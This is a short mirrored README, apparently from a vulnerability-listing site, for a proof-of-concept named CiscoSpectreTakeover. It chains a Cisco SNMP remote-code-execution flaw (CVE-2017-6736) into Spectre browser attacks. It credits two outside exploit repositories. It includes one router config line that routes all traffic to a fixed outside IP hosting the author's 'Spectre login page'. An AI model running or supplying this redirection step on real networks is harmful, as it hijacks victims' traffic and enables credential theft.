CVE-2017-6736 PoC — Cisco IOS和IOS XE Simple Network Management Protocol子系统缓冲区错误漏洞

Description

A POC chain exploit using the recent Cisco SMP exploit (CVE-2017-6736) to chain into Spectre (CVE-2017-5753 and CVE-2017-5715)

介绍

# CiscoSpectreTakeover
A **PoC** chain exploit using the recent Cisco SMP exploit (CVE-2017-6736) to chain into Spectre (CVE-2017-5753 and CVE-2017-5715)

[![forthebadge](http://forthebadge.com/images/badges/mom-made-pizza-rolls.svg)](http://forthebadge.com)

## Credits

Cisco RCE Exploit submodule by artkond: https://github.com/artkond/cisco-snmp-rce

JS Spectre Chrome POC by ascendr: https://github.com/ascendr/spectre-chrome

Tested on a Cisco 1841+2600 Router.

After running the RCE exploit. As config, run:

```Router(config)> ip route 0.0.0.0 0.0.0.0 195.20.52.49```

This will force all traffic through the Spectre login page I created. 
At a later date I will add a better version that addresses actually going to websites.

文件快照

备注